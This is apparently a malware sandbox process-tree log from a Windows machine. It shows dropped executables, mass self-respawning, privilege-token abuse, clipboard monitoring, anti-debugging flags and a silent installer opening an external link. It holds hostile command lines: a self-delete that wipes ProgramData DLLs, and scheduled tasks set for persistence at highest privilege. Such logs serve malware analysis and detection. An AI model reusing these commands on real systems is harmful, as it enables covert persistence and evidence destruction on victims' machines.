C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:3792
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:7972
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6840
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:3272
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10824
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5772
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:7244
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10856
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6912
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:4624
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10680
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6888
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5176
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:11152
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8476
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5772 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6256
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8484
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6284
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8532
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5820
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:2860
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:7492
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8312
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:11000
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10408
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:4336
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8460
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12756
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10368
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:13156
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12980
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1352
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 284⤵
- Program crash
PID:2228 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12936
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:13148
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12424
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8540
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:13108
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:7960
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8140
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8140 -s 284⤵
- Program crash
PID:7792 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1272
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:11064
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:13724
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:14264
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:13836
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:13464
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10356
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:14132
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:13612
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1148
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:9760
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:14272
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5924
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:11928
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12400
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5644
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5392
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12788
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:11572
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12252
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:11840
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12508
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10016
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2200 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12452
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:3436
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:14060
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5280
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10024
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:13652
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:11668
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:13376
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:7644
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12112
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12428
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:12072
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:14748
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:15348
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:14772
-
C:\Users\Admin\Documents\SbFnp3JBK5VZBGiEynEtSQEe.exe"C:\Users\Admin\Documents\SbFnp3JBK5VZBGiEynEtSQEe.exe"2⤵
- Executes dropped EXE
PID:1776 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1776 -s 2403⤵
- Program crash
PID:3964 -
C:\Users\Admin\Documents\Sm9jDaF5Rn5LS3KcKxG2nzVR.exe"C:\Users\Admin\Documents\Sm9jDaF5Rn5LS3KcKxG2nzVR.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1452 -
C:\Users\Admin\Documents\Sm9jDaF5Rn5LS3KcKxG2nzVR.exe"C:\Users\Admin\Documents\Sm9jDaF5Rn5LS3KcKxG2nzVR.exe"3⤵PID:8668
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Sm9jDaF5Rn5LS3KcKxG2nzVR.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\Sm9jDaF5Rn5LS3KcKxG2nzVR.exe" & del C:\ProgramData\*.dll & exit4⤵PID:7120
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Sm9jDaF5Rn5LS3KcKxG2nzVR.exe /f5⤵
- Kills process with taskkill
PID:8700 -
C:\Windows\SysWOW64\timeout.exetimeout /t 65⤵
- Delays execution with timeout.exe
PID:11084 -
C:\Users\Admin\Documents\83rQNR7RSbxdY8xX2J7rAyEE.exe"C:\Users\Admin\Documents\83rQNR7RSbxdY8xX2J7rAyEE.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2076 -
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"3⤵
- Executes dropped EXE
PID:2744 -
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
PID:1048 -
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:1408 -
C:\Users\Admin\Documents\tp2MRmBOTGpUYV_b7fro7XIm.exe"C:\Users\Admin\Documents\tp2MRmBOTGpUYV_b7fro7XIm.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2152 -
C:\Users\Admin\Documents\QU2OVBU5HGnIhS7hhd4pOPiv.exe"C:\Users\Admin\Documents\QU2OVBU5HGnIhS7hhd4pOPiv.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4728 -
C:\Users\Admin\AppData\Roaming\6820413.exe"C:\Users\Admin\AppData\Roaming\6820413.exe"3⤵PID:1176
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Suspicious behavior: SetClipboardViewer
PID:6392 -
C:\Users\Admin\AppData\Roaming\2580479.exe"C:\Users\Admin\AppData\Roaming\2580479.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3496 -
C:\Users\Admin\AppData\Roaming\1167733.exe"C:\Users\Admin\AppData\Roaming\1167733.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5328 -
C:\Users\Admin\AppData\Roaming\2537226.exe"C:\Users\Admin\AppData\Roaming\2537226.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5536 -
C:\Users\Admin\AppData\Roaming\8077170.exe"C:\Users\Admin\AppData\Roaming\8077170.exe"3⤵PID:5140
-
C:\Users\Admin\Documents\gQMDUFD63cpqvLTMYyNd2xM6.exe"C:\Users\Admin\Documents\gQMDUFD63cpqvLTMYyNd2xM6.exe"2⤵
- Executes dropped EXE
PID:2092 -
C:\Users\Admin\Documents\Mt5xso5G5tPeikFaMR0NRjyf.exe"C:\Users\Admin\Documents\Mt5xso5G5tPeikFaMR0NRjyf.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2988 -
C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5368 -
C:\Users\Admin\Documents\KfHD6D3LBFWwrIST7mRQQkry.exe"C:\Users\Admin\Documents\KfHD6D3LBFWwrIST7mRQQkry.exe"4⤵PID:5560
-
C:\Users\Admin\AppData\Roaming\6565722.exe"C:\Users\Admin\AppData\Roaming\6565722.exe"5⤵PID:7472
-
C:\Users\Admin\AppData\Roaming\7620916.exe"C:\Users\Admin\AppData\Roaming\7620916.exe"5⤵
- Suspicious behavior: SetClipboardViewer
PID:7268 -
C:\Users\Admin\AppData\Roaming\1748141.exe"C:\Users\Admin\AppData\Roaming\1748141.exe"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:6348 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6348 -s 23126⤵
- Program crash
PID:10416 -
C:\Users\Admin\AppData\Roaming\3084587.exe"C:\Users\Admin\AppData\Roaming\3084587.exe"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:7780 -
C:\Users\Admin\AppData\Roaming\2562092.exe"C:\Users\Admin\AppData\Roaming\2562092.exe"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:7704 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7704 -s 24446⤵
- Program crash
PID:10540 -
C:\Users\Admin\Documents\r8ZSgypTHmqCMQUO_Hacoo3q.exe"C:\Users\Admin\Documents\r8ZSgypTHmqCMQUO_Hacoo3q.exe"4⤵PID:3788
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3788 -s 2765⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6156 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:5496 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:5432 -
C:\Users\Admin\Documents\V3b1g_uOXSquvDp3y3Jp932Y.exe"C:\Users\Admin\Documents\V3b1g_uOXSquvDp3y3Jp932Y.exe"2⤵
- Executes dropped EXE
PID:2472 -
C:\Users\Admin\Documents\EJ4nDdCHxLLkR1IVMy4D4SKF.exe"C:\Users\Admin\Documents\EJ4nDdCHxLLkR1IVMy4D4SKF.exe"2⤵
- Executes dropped EXE
PID:1264 -
C:\Users\Admin\Documents\xh0nODyBNlZlURB4Fb2VtkzP.exe"C:\Users\Admin\Documents\xh0nODyBNlZlURB4Fb2VtkzP.exe"2⤵
- Executes dropped EXE
PID:2396 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2396 -s 2923⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1120 -
C:\Users\Admin\Documents\BcYTY2JXtkuAtChqtILjkTTh.exe"C:\Users\Admin\Documents\BcYTY2JXtkuAtChqtILjkTTh.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2348 -
C:\Users\Admin\Documents\zaJAoc_OY4FNXjLZpLLCIcQq.exe"C:\Users\Admin\Documents\zaJAoc_OY4FNXjLZpLLCIcQq.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3984 -
C:\Users\Admin\Documents\q7HLuKYNdF36DsVbkZjiBMQg.exe"C:\Users\Admin\Documents\q7HLuKYNdF36DsVbkZjiBMQg.exe"2⤵PID:1420
-
C:\Users\Admin\AppData\Local\Temp\is-H12JO.tmp\q7HLuKYNdF36DsVbkZjiBMQg.tmp"C:\Users\Admin\AppData\Local\Temp\is-H12JO.tmp\q7HLuKYNdF36DsVbkZjiBMQg.tmp" /SL5="$1029A,138429,56832,C:\Users\Admin\Documents\q7HLuKYNdF36DsVbkZjiBMQg.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1204 -
C:\Users\Admin\AppData\Local\Temp\is-RITFF.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-RITFF.tmp\Setup.exe" /Verysilent4⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5160 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplis.ru/1S2Qs75⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:5016 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcb98046f8,0x7ffcb9804708,0x7ffcb98047186⤵PID:3800
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2288 /prefetch:26⤵PID:6308
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2584 /prefetch:86⤵PID:6528
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 /prefetch:36⤵
- Suspicious behavior: EnumeratesProcesses
PID:6516 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:16⤵PID:1168
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:16⤵PID:5444
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4824 /prefetch:16⤵PID:5800
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4804 /prefetch:16⤵PID:6856
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3464 /prefetch:86⤵PID:1756
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3464 /prefetch:86⤵
- Suspicious behavior: EnumeratesProcesses
PID:8792 -
